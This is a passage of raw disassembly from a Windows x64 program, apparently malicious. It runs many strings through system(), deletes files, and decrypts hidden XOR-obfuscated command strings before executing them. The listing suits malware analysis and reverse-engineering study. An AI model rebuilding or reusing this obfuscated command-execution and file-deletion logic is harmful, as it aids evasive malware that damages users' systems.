jbe 0x1400067d4
mov rbx, r14
or rbx, 0xf
cmp rbx, rcx
jbe 0x14000676a
mov rbx, rcx
jmp 0x140006777
cmp rbx, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rbx, rax
mov rcx, rbx
add rcx, 1
mov rax, 0xffffffffffffffff
cmovb rcx, rax
cmp rcx, 0x1000
jb 0x1400067be
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000917a
mov rcx, rax
call fcn.140074d50
test rax, rax
je 0x1400068b6
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400067cf
test rcx, rcx
je 0x1400067cd
call fcn.140074d50
mov rdi, rax
jmp 0x1400067cf
xor edi, edi
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], rbx
mov r8, rsi
mov rdx, r15
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [str.__BV]
mov dword [rsi + rdi], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_32]
mov byte [rsi + rdi + 4], al
mov byte [rdi + r14], 0
lea rdx, [rbp + 0x48]
cmp qword [rbp + 0x60], 0x10
cmovae rdx, qword [rbp + 0x48]
mov r8, qword [rbp + 0x58]
lea rcx, [rsp + 0x40]
call fcn.140010c20
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
xor edi, edi
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], dil
mov rdx, qword [rbp + 0x80]
cmp rdx, 0x10
jb 0x14000687a
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006875
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006875
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
movups xmmword [rbp + 0x68], xmm6
movups xmmword [rbp + 0x78], xmm7
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x1400068c2
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400068bd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400068bd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
lea rcx, [rbp + 0x68]
cmp qword [rbp + 0x80], 0x10
cmovae rcx, qword [rbp + 0x68]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, reloc.WS2_32.dll_listen
lea rcx, [rsp + 0x40]
call fcn.140004890
mov rbx, rax
lea rax, [rbp + 0x48]
cmp rax, rbx
je 0x140006959
mov rdx, qword [rbp + 0x60]
cmp rdx, 0x10
jb 0x14000692b
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006926
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000698d
call fcn.140074d8c
mov qword [rbp + 0x58], rdi
mov qword [rbp + 0x60], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x48], 0
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x48], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x58], xmm1
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140006999
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006994
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006994
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
mov rsi, qword [rbp + 0x98]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, rsi
cmp rax, 5
jb 0x140009180
lea r15, [rbp + 0x88]
cmp qword [rbp + 0xa0], 0x10
cmovae r15, qword [rbp + 0x88]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rdi
lea r14, [rsi + 5]
mov ebx, reloc.WS2_32.dll_ntohs
lea rdi, [rsp + 0x40]
cmp r14, rbx
jbe 0x140006a71
mov rbx, r14
or rbx, 0xf
cmp rbx, rcx
jbe 0x140006a07
mov rbx, rcx
jmp 0x140006a14
cmp rbx, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rbx, rax
mov rcx, rbx
add rcx, 1
mov rax, 0xffffffffffffffff
cmovb rcx, rax
cmp rcx, 0x1000
jb 0x140006a5b
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140009186
mov rcx, rax
call fcn.140074d50
test rax, rax
je 0x140006b53
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140006a6c
test rcx, rcx
je 0x140006a6a
call fcn.140074d50
mov rdi, rax
jmp 0x140006a6c
xor edi, edi
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], rbx
mov r8, rsi
mov rdx, r15
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [str.__SV]
mov dword [rdi + rsi], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_32]
mov byte [rdi + rsi + 4], al
mov byte [rdi + r14], 0
lea rdx, [rbp + 0x48]
cmp qword [rbp + 0x60], 0x10
cmovae rdx, qword [rbp + 0x48]
mov r8, qword [rbp + 0x58]
lea rcx, [rsp + 0x40]
call fcn.140010c20
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
xor edi, edi
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], dil
mov rdx, qword [rbp + 0x80]
cmp rdx, 0x10
jb 0x140006b17
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006b12
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006b12
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
movups xmmword [rbp + 0x68], xmm6
movups xmmword [rbp + 0x78], xmm7
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140006b5f
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006b5a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006b5a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
lea rcx, [rbp + 0x68]
cmp qword [rbp + 0x80], 0x10
cmovae rcx, qword [rbp + 0x68]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, reloc.WS2_32.dll_listen
lea rcx, [rsp + 0x40]
call fcn.140004890
mov rbx, rax
lea rax, [rbp + 0x48]
cmp rax, rbx
je 0x140006bf6
mov rdx, qword [rbp + 0x60]
cmp rdx, 0x10
jb 0x140006bc8
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006bc3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006c2a
call fcn.140074d8c
mov qword [rbp + 0x58], rdi
mov qword [rbp + 0x60], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x48], 0
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x48], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x58], xmm1
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140006c36
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006c31
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006c31
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
mov rsi, qword [rbp + 0x98]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, rsi
cmp rax, 5
jb 0x14000918c
lea r15, [rbp + 0x88]
cmp qword [rbp + 0xa0], 0x10
cmovae r15, qword [rbp + 0x88]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rdi
lea r14, [rsi + 5]
mov edi, reloc.WS2_32.dll_ntohs
lea rbx, [rsp + 0x40]
cmp r14, rdi
jbe 0x140006d0e
mov rdi, r14
or rdi, 0xf
cmp rdi, rcx
jbe 0x140006ca4
mov rdi, rcx
jmp 0x140006cb1
cmp rdi, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rdi, rax
mov rcx, rdi
add rcx, 1
mov rax, 0xffffffffffffffff
cmovb rcx, rax
cmp rcx, 0x1000
jb 0x140006cf8
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000913e
mov rcx, rax
call fcn.140074d50
test rax, rax
je 0x140006df1
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140006d09
test rcx, rcx
je 0x140006d07
call fcn.140074d50
mov rbx, rax
jmp 0x140006d09
xor ebx, ebx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], rdi
mov r8, rsi
mov rdx, r15
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [str.__bs]
mov dword [rbx + rsi], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_32]
mov byte [rbx + rsi + 4], al
mov byte [rbx + r14], 0
lea rdx, [rbp + 0x48]
cmp qword [rbp + 0x60], 0x10
cmovae rdx, qword [rbp + 0x48]
mov r8, qword [rbp + 0x58]
lea rcx, [rsp + 0x40]
call fcn.140010c20
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
xor r14d, r14d
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], r14b
mov rdx, qword [rbp + 0x80]
cmp rdx, 0x10
jb 0x140006db5
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006db0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006db0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
movups xmmword [rbp + 0x68], xmm6
movups xmmword [rbp + 0x78], xmm7
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140006dfd
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006df8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006df8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
lea rcx, [rbp + 0x68]
cmp qword [rbp + 0x80], 0x10
cmovae rcx, qword [rbp + 0x68]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x68]
cmp qword [rbp + 0x80], 0x10
cmovae rcx, qword [rbp + 0x68]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140086708]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xa8]
cmp qword [rbp + 0xc0], 0x10
cmovae rcx, qword [rbp + 0xa8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x108]
cmp qword [rbp + 0x120], 0x10
cmovae rcx, qword [rbp + 0x108]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xe8]
cmp qword [rbp + 0x100], 0x10
cmovae rcx, qword [rbp + 0xe8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xc8]
cmp qword [rbp + 0xe0], 0x10
cmovae rcx, qword [rbp + 0xc8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x148]
cmp qword [rbp + 0x160], 0x10
cmovae rcx, qword [rbp + 0x148]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x88]
cmp qword [rbp + 0xa0], 0x10
cmovae rcx, qword [rbp + 0x88]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [rbp + 0x128]
cmp qword [rbp + 0x140], 0x10
cmovae rcx, qword [rbp + 0x128]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [rbp + 0x148]
call fcn.140010830
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [0x140086708]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xa8]
call fcn.140010830
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [0x140086708]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x168]
call fcn.140010830
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140086708]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xe8]
call fcn.140010830
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x108]
call fcn.140010830
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140086708]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xc8]
call fcn.140010830
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
movups xmm0, xmmword [0x1400893b0]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x1400893c0]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x1400893d0]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [0x1400893e0]
movups xmmword [rbp - 0x40], xmm1
movups xmm0, xmmword [0x1400893f0]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [0x140089400]
movups xmmword [rbp - 0x20], xmm1
movups xmm0, xmmword [0x140089410]
movups xmmword [rbp - 0x10], xmm0
movsd xmm0, qword [0x140089420]
movsd qword [rbp], xmm0
mov edi, Ordinal_35
mov ebx, dword [reloc.WS2_32.dll_accept]
cmp ebx, 2
jl 0x14000716d
movdqa xmm5, xmmword [0x140089780]
mov edx, r14d
movdqa xmm4, xmmword [0x1400897d0]
mov r15d, 4
movd xmm6, r15d
movdqa xmm7, xmmword [0x1400897a0]
movd xmm8, edi
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x70]
mov r8d, dword [rsp + 0x40]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400897b0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400897b0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x78
jl 0x140007070
jmp 0x1400071b6
lea r9, [rbp - 0x70]
mov r8d, r14d
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x78
jl 0x140007180
mov r15d, 4
lea rcx, [rbp - 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [str.jeyz]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x1400896e0]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x1400896f0]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [0x140089700]
movups xmmword [rbp - 0x40], xmm1
movups xmm0, xmmword [str.5___8]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [0x140089720]
movups xmmword [rbp - 0x20], xmm1
movups xmm0, xmmword [0x140089730]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [0x140089740]
movups xmmword [rbp], xmm1
mov eax, dword [0x140089750]
mov dword [rbp + 0x10], eax
movzx eax, byte [0x140089754]
mov byte [rbp + 0x14], al
mov r8d, r14d
cmp ebx, 2
jl 0x140007379
movdqa xmm5, xmmword [0x140089780]
movdqa xmm4, xmmword [0x1400897d0]
movd xmm6, r15d
movdqa xmm7, xmmword [0x1400897a0]
movd xmm8, edi
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x70]
mov edx, dword [rsp + 0x40]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400897b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400897b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x80
jl 0x140007270
cmp r8d, 0x85
jge 0x1400073c3
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x85
jl 0x140007390
lea rcx, [rbp - 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400892f0]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x140089300]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x140089310]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [0x140089320]
movups xmmword [rbp - 0x40], xmm1
movups xmm0, xmmword [str.____t__5qt_a]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [0x140089340]
movups xmmword [rbp - 0x20], xmm1
movsd xmm0, qword [0x140089350]
movsd qword [rbp - 0x10], xmm0
mov eax, dword [0x140089358]
mov dword [rbp - 8], eax
mov r8d, r14d
cmp ebx, 2
jl 0x140007573
movdqa xmm5, xmmword [0x140089780]
movdqa xmm4, xmmword [0x1400897d0]
movd xmm6, r15d
movdqa xmm7, xmmword [0x1400897a0]
movd xmm8, edi
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x70]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400897b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400897b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x68
jl 0x140007470
cmp r8d, 0x6c
jge 0x1400075b0
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x6c
jl 0x140007580
lea rcx, [rbp - 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140089550]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x140089560]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x140089570]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [0x140089580]
movups xmmword [rbp - 0x40], xmm1
movups xmm0, xmmword [str.__]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [0x1400895a0]
movups xmmword [rbp - 0x20], xmm1
mov eax, dword [0x1400895b0]
mov dword [rbp - 0x10], eax
mov r8d, r14d
cmp ebx, 2
jl 0x140007753
movdqa xmm5, xmmword [0x140089780]
movdqa xmm4, xmmword [0x1400897d0]
movd xmm6, r15d
movdqa xmm7, xmmword [0x1400897a0]
movd xmm8, edi
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x70]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400897b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400897b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x60
jl 0x140007650
cmp r8d, 0x64
jge 0x140007790
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x64
jl 0x140007760
lea rcx, [rbp - 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400891e0]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x1400891f0]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x140089200]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [0x140089210]
movups xmmword [rbp - 0x40], xmm1
movups xmm0, xmmword [str.2__._a___v7ps]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [0x140089230]
movups xmmword [rbp - 0x20], xmm1
movzx eax, word [0x140089240]
mov word [rbp - 0x10], ax
movzx eax, byte [0x140089242]
mov byte [rbp - 0xe], al
mov r8d, r14d
cmp ebx, 2
jl 0x140007943
movdqa xmm5, xmmword [0x140089780]
movdqa xmm4, xmmword [0x1400897d0]
movd xmm6, r15d
movdqa xmm7, xmmword [0x1400897a0]
movd xmm8, edi
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x70]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
